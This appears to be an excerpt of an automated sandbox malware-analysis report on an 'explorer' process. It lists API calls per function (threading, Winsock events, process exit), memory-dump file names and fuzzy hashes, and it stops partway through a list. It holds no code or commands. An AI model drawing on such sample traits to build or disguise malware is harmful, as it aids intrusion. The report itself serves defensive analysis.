_errno.LIBCMT ref: 011B9A91
_errno.LIBCMT ref: 011B9AAD
_isatty.LIBCMT ref: 011B9B0E
_getbuf.LIBCMT ref: 011B9B1A

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 2574049805-0
Opcode ID: 56ab89854e5ae769f29630560a6647f2ee0e2c817f8a69632cdb6a676603f6a7
Instruction ID: d972a308b7d1f55826e4cbf24236a399f18923dfb5fc59bbb3550cf237aaa656
Opcode Fuzzy Hash: 56ab89854e5ae769f29630560a6647f2ee0e2c817f8a69632cdb6a676603f6a7
Instruction Fuzzy Hash: E841FFB2210B488ADF1C9F3DD4D06A87B60E798FACF554219DB6A473D5EB38C852C780

Function 011C1798 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000008,?,011C1953), ref: 011C17F2
malloc.LIBCMT ref: 011C1856
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000008,?,011C1953), ref: 011C189E
GetStringTypeW.KERNEL32(?,?,?,00000000,?,00000008,?,011C1953), ref: 011C18B5
free.LIBCMT ref: 011C18C9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: 965fe8bdf943ed1d4c82f4e81ed16d9202ccaf85f4f541d8b62d894c124712f2
Instruction ID: 1e9d4af1da5e16b0689ea0147d6aa74f4630ac0ca09a176cac87fdcda9bd2d8d
Opcode Fuzzy Hash: 965fe8bdf943ed1d4c82f4e81ed16d9202ccaf85f4f541d8b62d894c124712f2
Instruction Fuzzy Hash: C631A032744B80DAEB189F2A984039A6796FB98FF8F584219EE29477D5DF38C4018340

Function 011B27E4 Relevance: 7.6, APIs: 5, Instructions: 94threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 011B2867
CloseHandle.KERNEL32 ref: 011B28B3
CreateEventW.KERNEL32 ref: 011B28DF
CreateThread.KERNEL32 ref: 011B2939
ResumeThread.KERNEL32 ref: 011B29A2
WaitForSingleObject.KERNEL32 ref: 011B2A34
CloseHandle.KERNEL32 ref: 011B2A80
CloseHandle.KERNEL32 ref: 011B2ACC
CreateEventW.KERNEL32 ref: 011B2AF8
CreateThread.KERNEL32 ref: 011B2B52
ResumeThread.KERNEL32 ref: 011B2BBB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID:
API String ID: 738346648-0
Opcode ID: ad9b6ddeba1b68a4c7a9c77c2e9740dbed4c8849dfcb5610010ed651666c2a0a
Instruction ID: 589e6b91a1f450d5f2f19b2dfcf62a6bcd16ad429d41013671984c3e15f7ea65
Opcode Fuzzy Hash: ad9b6ddeba1b68a4c7a9c77c2e9740dbed4c8849dfcb5610010ed651666c2a0a
Instruction Fuzzy Hash: E851F532205B00C5DB58CB18E8C13A9A3B1F7E8748F61952AE69F467B4EF7DD586CB00

Function 01193E60 Relevance: 7.6, APIs: 5, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::task_options::get_continuation_context.LIBCPMTD ref: 01193E89
Concurrency::task_options::get_continuation_context.LIBCPMTD ref: 01193E9D
Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 01193EAD
type_info::_name_internal_method.LIBCMTD ref: 01193ECF

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Concurrency::task_options::get_continuation_context$Affinity::operator!=Concurrency::details::Hardwaretype_info::_name_internal_method
String ID:
API String ID: 3678748506-0
Opcode ID: afd68561e62c96723d4451579b545c313aa908728ce77bd132829953e4c85a52
Instruction ID: d4b9298aec1ffa74c2b43db638351e67e945ab3471508b6024a3b0a3a0d9c6de
Opcode Fuzzy Hash: afd68561e62c96723d4451579b545c313aa908728ce77bd132829953e4c85a52
Instruction Fuzzy Hash: A221AA36228B4581CF18DB5AE49011EB771F7DABD8B604012EFAE87B28DF3AC551CB41

Function 011B4750 Relevance: 7.6, APIs: 5, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 011B4768
WSAEventSelect.WS2_32 ref: 011B478F
WSAWaitForMultipleEvents.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B455A), ref: 011B47E4
WSACloseEvent.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B455A), ref: 011B47F3
WSACloseEvent.WS2_32(?,?,?,?,?,?,?,011B455A), ref: 011B4859

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: fe6704b44bee5829474ada4c8b3fd0bec09b15791c55a24a43108b7d94ecef9f
Instruction ID: bb2e3591794de7d25dabce1e2da19d3a1e789ee4e2e8f14da60a9f6e6d458863
Opcode Fuzzy Hash: fe6704b44bee5829474ada4c8b3fd0bec09b15791c55a24a43108b7d94ecef9f
Instruction Fuzzy Hash: B9310832528B84CADB559F19E48479ABBB0F385B84F109115FB9A43F6ACB7DC045CF01

Function 011B4630 Relevance: 7.6, APIs: 5, Instructions: 63networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 011B4648
WSAEventSelect.WS2_32 ref: 011B466F
WSAWaitForMultipleEvents.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B45A0), ref: 011B46C4
WSACloseEvent.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B45A0), ref: 011B46D3
WSACloseEvent.WS2_32(?,?,?,?,?,?,?,011B45A0), ref: 011B4739

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: 29ccdf6b33a1163324ee7db4502d6237d9ce27e33d28bec132fa8e2cb9d649a2
Instruction ID: 829e91c64f0294f9ed4eaff8c4c5940348aa70880ef3cc5f6d104263ec9f9d96
Opcode Fuzzy Hash: 29ccdf6b33a1163324ee7db4502d6237d9ce27e33d28bec132fa8e2cb9d649a2
Instruction Fuzzy Hash: 8F31FA36128B44CADB69DF19E48479ABBB1F386784F609115EB8A43F69CB7DC045CF01

Function 01194050 Relevance: 7.5, APIs: 5, Instructions: 44threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 0119407D
CreateEventW.KERNEL32 ref: 011940A5
CreateThread.KERNEL32 ref: 011940DB
CloseHandle.KERNEL32 ref: 01194100
CloseHandle.KERNEL32 ref: 01194118

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandle$Thread
String ID:
API String ID: 3315681087-0
Opcode ID: c08934f3fb2d49f487da2c55ee1254e5b5f920426d6448e0e42077e6a3dbbbae
Instruction ID: 22e2d7c8091fdfb5755504fddb30fd9a1ddba3e755fd96187b2920e356d62be1
Opcode Fuzzy Hash: c08934f3fb2d49f487da2c55ee1254e5b5f920426d6448e0e42077e6a3dbbbae
Instruction Fuzzy Hash: 3921D370600A0482FB2CEB65FA59BD636A0F354359F09663DDA5642EE0CFBD81EBC740

Function 011AB310 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011AB344
SetEvent.KERNEL32 ref: 011AB377
SetEvent.KERNEL32 ref: 011AB38C
SetEvent.KERNEL32 ref: 011AB3A4
SetEvent.KERNEL32 ref: 011AB3C8

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: c7270ca6cd0027a95c3a079b4d1d8a70d46683f4405f6999b971fa87d8febae7
Instruction ID: 5c5c62325498c7401a28fd97be80d903f960f857e4ef682080ea0eabbbcd4edb
Opcode Fuzzy Hash: c7270ca6cd0027a95c3a079b4d1d8a70d46683f4405f6999b971fa87d8febae7
Instruction Fuzzy Hash: 5F212036608B88C7CB28DF09E49425AB7A1F7C8B99F505229EA8D47B29CB7CC555CF04

Function 011AAC80 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011AACB4
SetEvent.KERNEL32 ref: 011AACE7
SetEvent.KERNEL32 ref: 011AACFC
SetEvent.KERNEL32 ref: 011AAD14
SetEvent.KERNEL32 ref: 011AAD38

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: 2f43e1411a86ff65ae186fbf4826b3099ba5d0dc06b99c4c62602528d5f33b84
Instruction ID: b8b44067b2317f145cdcd8ad31f962470e50e3d536c9dc324d050b1c9b4d8d50
Opcode Fuzzy Hash: 2f43e1411a86ff65ae186fbf4826b3099ba5d0dc06b99c4c62602528d5f33b84
Instruction Fuzzy Hash: 2C214276608B8887D728DF05F05435AB7A1F7C8B99F505229EA8D47B28CB7CC555CF40

Function 011BF734 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 011BF76B
GetCurrentProcessId.KERNEL32 ref: 011BF776
GetCurrentThreadId.KERNEL32 ref: 011BF782
GetTickCount.KERNEL32 ref: 011BF78E
QueryPerformanceCounter.KERNEL32 ref: 011BF79F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: c6e65f6b01b94b13fd23f4a7e6283f519103931d797bfc6ffacafbbc56e53864
Instruction ID: 4b72a264ced5bfcdbe50f5d636e436b01f7a438500b399e0d823a1bb3090dbf6
Opcode Fuzzy Hash: c6e65f6b01b94b13fd23f4a7e6283f519103931d797bfc6ffacafbbc56e53864
Instruction Fuzzy Hash: F7014C31265E048AEB849F25F9843D573A1F789F90F446624EF5E477A4DB3CC99AC340

Function 011C2844 Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 011C284D
_errno.LIBCMT ref: 011C2855

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 195467ecf0e9b39d0823af2e41b7a61e96f13688144912d81077017081ad5b3c
Instruction ID: 5f30f31e1bd3662ac042f2ed7fe5fa5ae51fc6d7d7da47a1c511918fd48db1b4
Opcode Fuzzy Hash: 195467ecf0e9b39d0823af2e41b7a61e96f13688144912d81077017081ad5b3c
Instruction Fuzzy Hash: ECF090B271168986DE0E2B68E9D03ED7A909FB0F7AF564719D62E0B3E1C73C44418721

Function 011AD9ED Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 09f05515462f461276196ec69aeeb838aed65b65ebbc682e0a595f35ac473647
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: 09f05515462f461276196ec69aeeb838aed65b65ebbc682e0a595f35ac473647
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD717 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 89e3dd46865cacff1dddaff1f35aeff22daad2851f05acaa26d29de09fad9b17
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: 89e3dd46865cacff1dddaff1f35aeff22daad2851f05acaa26d29de09fad9b17
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD704 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 3779b9ff62c45535a73ea4ad58ab9b58cc22196be243de00855a3174e99cfd9c
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: 3779b9ff62c45535a73ea4ad58ab9b58cc22196be243de00855a3174e99cfd9c
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD73D Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
